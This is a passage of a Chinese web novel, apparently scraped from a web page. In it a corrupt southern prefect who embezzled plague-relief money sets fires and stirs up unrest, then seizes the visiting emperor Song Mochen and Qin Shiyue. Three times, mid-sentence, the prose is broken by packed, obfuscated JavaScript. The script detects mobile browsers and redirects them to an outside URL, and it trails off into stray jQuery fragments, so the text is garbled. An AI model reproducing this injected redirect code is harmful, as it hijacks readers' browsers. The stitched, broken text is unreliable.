明明她已经改变了过去发生的种种,可为何没有办法改变小荷的结局? “小荷并不希望看到你这般难受。”宋墨辰叹了口气,用手轻轻拍着她的后背,“不哭了,来,喝口参汤,暖暖身子。” 秦时月没动,只是垂眸看着那碗参汤,让她再次想起了小荷。 以往伺候她用汤的,一直是小荷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376141|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋墨辰见她不动,也不催,就这么举着碗,耐心地等着。 过了好一会儿,她才慢慢张开嘴,小口小口地喝起来。 一碗汤喝完,宋墨辰把空碗放在床头的桌子上,又拿过帕子,轻轻擦了擦她的唇角。 秦时月的目光落在他的袖口上,后知后觉的看到那里有一道极浅的划痕,这划痕,不像是在京城里会弄出来的伤。 “这是?” 闻言,宋墨辰低头看向自己的袖口,“……应该是骑马来的路上划的,不碍事。” 他没提边境的战事,怕秦时月会多思多虑。 “你不该来的。”秦时月叹了口气,“朝中还有好多事要你主持,你来了,京城怎么办?” 宋墨辰摇了摇头,说道:“暂时不走了。” 闻言,她皱了皱眉,眼里露出点疑惑。 “为何?” 宋墨辰看着她眼底的疑惑,知道她在担心,开口解释,“前几日收到奏报,有大臣状告南方知府贪墨赈灾款,用来治疗时疫的钱,很大一部分进了他们的口袋。” “什么!”秦时月吃惊。 “那些钱是用来救人性命的,胆敢有人贪墨,我不能放任不管。” 南方的时疫刚过,她还记得小荷就是因为去给染疫的流民送药才被传染的,那些赈灾款里,或许就有用来给流民买药的钱,那个知府竟然连这种钱都敢贪! “好,那我陪你一起。”秦时月咬牙。 她必须要给自己找点事情做,让自己不要总在痛苦的回忆里沉浮。 百姓们还在等着她,她不能倒下。 就这样,宋墨辰留了下来,秦时月则是搬到了别院内。 白日,秦时月出门为百姓看病,傍晚,在侍书的护送下回来。 宋墨辰则是一直待在城内,派出的暗卫去调查知府的事情,自己则是趁着白日秦时月不在,处理边境的战事。 他是皇帝,肩上扛着整个天下,要对千千万万的百姓负责。 今日一早,他收到了边境的飞鸽传书:如今边境战事吃紧,敌军突然增兵,前线的将领有点应付不过来…… 第346章 周知府的谋划 宋墨辰眉头紧皱,连发三道密令,调动京城守备和其他两路军队支援边境。 为了不让秦时月起疑,他一直很小心。 只是,等处理完南方的事情,他就要尽快赶回去,边境将士们还在等着他。 宋墨辰打算,等一切都结束后,他一定要补给秦时月一个浩荡的册封礼,让天下人都知道,秦时月是他的妻子,是靖垣的皇后。 “陛下,刚收到飞鸽传书,粮草已凑齐,已经押运往边境。”影九问道。 “好。”宋墨辰点头,看着书桌上的密信眉头紧皱,随后拿起一旁的毛笔,写下回信。 “送出去吧。” 影九躬身领命,随后退下,“是,陛下。” 他拿着密信将其绑到鸽子腿上,刚将鸽子从窗边放飞出去,就被刚回来的秦时月看到了,她疑惑的蹙起眉头。 “信鸽?莫不是京城出变故了?”秦时月自言自语道。 一想到京城出现变故,她就担忧不已。 宋墨辰是如何一步步走到如今的,她比谁都清楚,也比任何人更担心变故的发生。 她深吸口气直接跨步走进书房,侍书立即跟了过去。 方才那只鸽子,侍书也瞧见了,原本他是想劝说秦时月先回大厅,自己去同宋墨辰通风报信,不曾想,他还没开口,秦时月就径直去了书房。 为了给宋墨辰提醒,侍书连忙大喊,“小姐,您走慢点,等等属下!” 书房内的宋墨辰听到声音,皱皱眉,随手抓起书案上的草纸盖在了信纸上。 “方才我看到有信鸽,可是出了什么事?”秦时月一进门就脱口问到。 他们的关系,实在不必过多虚假、客套。 宋墨辰清清嗓子绕出来,停在她面前,一把拉住她的手,“是,京城里有点事情,已经处理好了。” 闻言,秦时月点点头,“待这边的事情处理完,你就尽快启程回京,京城那边决不能出事。” 秦时月丝毫没怀疑。 她知道,如今京城只有太后娘娘一个人撑着,遇到事情飞鸽传书来求助宋墨辰在正常不过。 “好。”宋墨辰点点头,不知道该说些什么。 不过,她没怀疑,对他来说就是最好的结果。 “天色不早了,我先回去收拾收拾,一会儿饭菜好了我让人来叫你。”秦时月笑了一下,转身走出书房。 看着她离开的背影,宋墨辰眸光暗了暗,随后将视线重新放回书桌上。 方才他得到消息,说是知府那边已经知道了他的踪迹。 若是如此,只怕是知府那边会采取行动…… 想到这,他眼神一冷,里边闪过一丝冷意。 …… 与此同时,知府衙门。 “听说陛下前两日进城了。”周知府紧张的看向自己的心腹。 “大人,您别慌。”李大牛见他脸色惨白,赶紧上前一步,“说不定是底下人传错了,如今疫情正严峻,陛下绝无亲自来这小地方的道理。” “可确实有人住进了别院,那可是只有皇家之人才能住的地方!”周知府抬起眼,精明的小眼睛里满是不安,“除了皇帝,谁敢住进去?” 他越说越怕,手心里全是冷汗。 贪墨赈灾款本就是杀头的罪,更何况这赈灾款是用来治时疫的,多少流民因为缺药缺粮丢了性命。 要是皇帝知道这钱全进了他的私囊,别说他自己,周家满门都得跟着陪葬…… “那怎么办啊大人?”李大牛也慌了,“要是真查出来,咱们都完了。” 周知府闭上眼,脑子飞速转着。 他不能就这么等着被抓,经营了这么多年,他绝不能毁在这一件事上! 忽然,他猛地睁开眼,眼底闪过一丝狠厉,“左右都是死,不如放手一搏,说不定能博得一线生机!” “您是说……动手?”李大牛做了个抹脖子的动作,眼神犹疑。 他为周知府办过不少暗事,但如今他们面对的是当今陛下,万一一个弄不好,那是要诛九族的…… “皇帝身边的人肯定不少,硬来不行。”周知府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376142|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起身,背着手在屋里踱来踱去,“得先把他身边的人调开。” 他没发现李大牛的心思,冷哼一声,继续道:“你去办两件事,一,去义帐那边找几个染疫流民,就说朝廷不管他们死活,要停药,挑唆他们去**,人越多越好,事儿,越乱越好!最好把那个叫侍书的引走!” “二,找几个心腹,趁夜去城内的几个粮仓放火,把动静闹起来,想办法让皇帝的人去救火。” “……大人,这要是闹大了,会不会引火烧身啊?”李大牛担心的问道。 算计陛下……他还没活够。 “引火烧身总比掉脑袋强!”周知府狠狠拍了下桌子,“等把他们身边的人都调开,你就带几个最得力的弟兄,去把宋墨辰和秦时月抓起来。” “如今疫情正胜,不会有人把他们的死联想到咱们身上,届时,祸端一除,这南方的天,就还是咱们的天!” 天高皇帝远,到时候不论谁登基,他就还是这里的一方土皇帝。 要怪,就怪宋墨辰、秦时月命不好。 原本他在南方做土皇帝碍不着谁,偏偏宋墨辰和秦时月要过来。 既然来了,那就都别想走了! 李大牛的脸色惨白一片。 周知府这是……铁了心要杀皇帝? 这可是株连九族的大罪,换做以往,他是想也不敢想的。 可这些年他跟着周知府贪了不少钱,要是这事成不了,不仅皇帝饶不了他,周知府怕是第一个就不会放过他。 “大人,要是失手了怎么办?”李大牛咽口唾沫,心烦意乱的问道。 “失手?”周知府眼神冰冷,“没有失手的余地,这乱子要是闹不起来,咱们就得死!与其坐着等**,不如拼一把!” 他转过身盯着李大牛,语气带着威胁,“你要是不敢去,现在就可以走,但你别忘了,你老婆孩子还在府里住着,要是我出了事,你觉得他们能有什么好下场!?” 李大牛的身子猛地一僵,攥着拳头咬了咬牙,“大人放心,我一定办成!” 第347章 被围,命在旦夕? 闻言,周知府满意地点点头,阴笑着拍了拍他的肩膀,“好,事成之后,我给你一万两银子,让你带着老婆孩子离开。” “谢知府大人!” 说完,李大牛便心事重重的走了出去。 周知府看着李大牛的背影,勾唇冷笑了一下。 为了保住自己的性命和前程,别说是杀皇帝皇后,就算是踏平整个别院,他也做得出来! …… 清晨,窗外渐渐的又下起了小雨,南方的天气就是这般,时常下雨。 人人都说,江南烟雨美丽动容,可秦时月却不这么认为。 小荷就死在烟雨里…… 见秦时月趴在窗边,一脸心事地看着窗外,宋墨辰拿了条披风走近。 “你在想什么?”他顺手将披风披到了秦时月身上。 秦时月转身笑了一下,回答道:“我在想,侍书去查粮仓,怎么这个时辰了还没回来。” 今早,有人来报,说是粮仓起火,义帐那边也出了事情,原本她想亲自出面处理,却被宋墨辰拦了下来。 他担心流民对她不利,便派侍书与暗卫前去调查。 算算时间,也该回来了。 宋墨辰蹙眉,耳尖的听到了外面传来的声音,“不对,这声音有些杂,不像是暗卫的动静。” 话音刚落,院门外突然传来“哐当”一声,紧接着就是兵刃相接的脆响。 宋墨辰面色一沉,猛地站起身把秦时月护在身后。 他这次来南方没带太多人手,暗卫大多跟着侍书去了粮仓和义帐,别院里如今只剩两个护卫,此刻,显然已经和对方交了手。 “陛下不必躲了!”一个声音突然从门外传来。 周知府挺着肚子,乐呵呵地走了进来,他的身后跟着十几个捕快,还有些山野汉子。 他们个个都举着刀,把门口堵得严严实实。 “下官猜了许久,您这气度,除了当今圣上,还能是谁?” 秦时月眼神骤冷,死死地盯着周知府,“你疯了?既然猜出是陛下,还敢对陛下动手!” 周知府嗤笑一声,往前迈了两步,“娘娘错了,下官是在护驾。南方疫情闹得凶,粮仓又出了乱子,百姓都快反了。下官怕有人趁机对陛下不利,只好先把两位请去个安全的地方。” 宋墨辰冷眼看着他,冷哼一声,“是你贪墨赈灾款的证据藏不住了,想杀朕灭口吧?” 他早就查过,这知府借着疫情吞了大半款项,连隔离地的药材都敢克扣。 周知府脸上的笑僵了僵,眼神一冷,“陛下既然都知道了,那下官也不装了。” 他挥了挥手,身后的人立刻往前逼了两步。 “您以为您派出去的人还能回来?下官早就让人在那边放了火,制造了混乱,您的人现在自顾不暇,哪还能顾得上您!?” 宋墨辰早想过,这火来的蹊跷,怕是周知府故意纵火,目的是调开暗卫。 可如今听他主动承认,还是气不打一处来。 周知府此举,简直就是草菅人命! 秦时月下意识抬眸看着宋墨辰,眼里满是担忧。 “别怕,有我在。”宋墨辰轻声开口,护着她的动作没有丝毫改变。 话音刚落,周知府突然抬手,对着身后的人喝了声,“上!别伤了陛下和娘娘!” 那十几个捕快立刻涌了进来,手里的刀直逼宋墨辰。 宋墨辰眼神一沉,拔出软剑迎了上去。 可对方人多,他既要护着秦时月,又要应付**,没几招就被人缠住了手脚。 一个汉子趁机绕到他身后,用刀背狠狠砸在他的后颈上,宋墨辰闷哼一声,被人控制起来。 “宋墨辰!” 秦时月虽有身手,但这段时间因为疫情和小荷的事心力交瘁,加上他们人多势众,很快也被两个捕快架住了胳膊。 “你们放开他!他是皇帝,你们要是伤了他,是要被满门抄斩的!” 听到这话,众人面色各异,有几个已经心生胆怯,看样子是后悔了。 可周知府根本不会给他们后悔的机会,他阴狠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384087|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫视一圈,冷冷道:“怕什么!绑都绑了!后悔也晚了!你们如今谁敢退,本官现在就将他正法!” “娘娘也别喊了,您现在和陛下一样,都是下官的阶下囚!” 秦时月面色难看,高喊一声,“你以为你能得逞吗?侍书等人很快就回来,京里的援军很快就到,你跑不了!” “皇后娘娘刚才说什么?援军?哈哈哈……你们怕是还没弄明白,这南方地界,是我说了算!” 宋墨辰缓缓抬眼,狠厉的说道:“赈灾款贪墨三百万两,为了掩盖罪证,火烧粮仓,即便朕惩治不了你,你以为你还能逍遥的活着吗!?” 一旦周知府的行径传出去,百姓都饶不了他! 周知府往前走了两步,蹲在宋墨辰面前,挑衅道:“陛下倒是查得清楚,可那又如何?您就算知道,也拿不出证据。” “到时候下官再上个奏折,说您二位是为了安抚百姓,亲赴疫区,不幸染病驾崩,等您和娘娘‘病逝’,谁还会追究这些陈年旧账?谁会知道真相呢?” 秦时月没想到周知府竟如此丧心病狂,不仅贪赃枉法,还谋划好了一切,甚至编造出这样的谎言打算欺瞒天下…… 宋墨辰只是淡淡的笑了笑,虽然他被控制着,但丝毫没有慌乱。 没有人知道,他从来不打没把握的杖。 不等察觉到不对劲,他就已经提前安排了后手。 他表面上让侍书带着暗卫去查粮仓,实际上只派了四个去,另外几个则乔装成百姓,潜伏在别院周围,等着周知府自投罗网。 “怎么?陛下不说话了?”周知府见宋墨辰沉默,还以为他是怕了。 “你可知谋害君上是何等罪名?”秦时月冷冷问道:“诛九族,你就不怕你的父母妻儿、兄弟姐妹,乃至老家全族,都因为你这一时的贪念,人头落地?” 周知府满不在意的说道:“下官既然敢做,就早有准备。” 他站起身,走到那几个心腹面前,“你们放心,只要跟着我,以后就是我的功臣,荣华富贵享用不尽!”